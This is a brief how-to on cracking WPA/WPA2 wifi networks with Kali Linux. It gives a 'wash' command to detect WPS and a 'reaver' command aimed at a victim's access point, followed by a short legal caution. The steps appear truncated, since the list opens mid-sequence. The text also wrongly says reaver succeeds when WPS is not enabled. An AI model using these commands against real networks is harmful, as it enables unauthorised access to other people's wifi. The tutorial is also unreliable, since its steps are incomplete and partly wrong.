How to hack wifi using kali linux:-

Kali linux provide various techniques for security testing and penetration. using kali linux for wifi hacking is good approach. To hack a wifi or to crack WPA/WPA2 security we can follow the following steps for easily hacking wifi using linux:-

• then we need to find out if the WPS i enable or not for that we can use command:  wash -i (interface name)-c 8 -C -s
• if the WPS is not enabled then we can easily hack the wifi using reaver
• reaver -i <your_interface> -b <wi-fi victim MAC address> –fail-wait=360
• the time to crack a password can vary according to length of the password. if the password is long then it may take longer and if the password is short then it will be done soon.

using others wifi without their knowledge can be considered as felony(crime) in some countries as theft of internet hours. therefore you should not use these tricks for hacking and cracking but can use them for testing and learning.
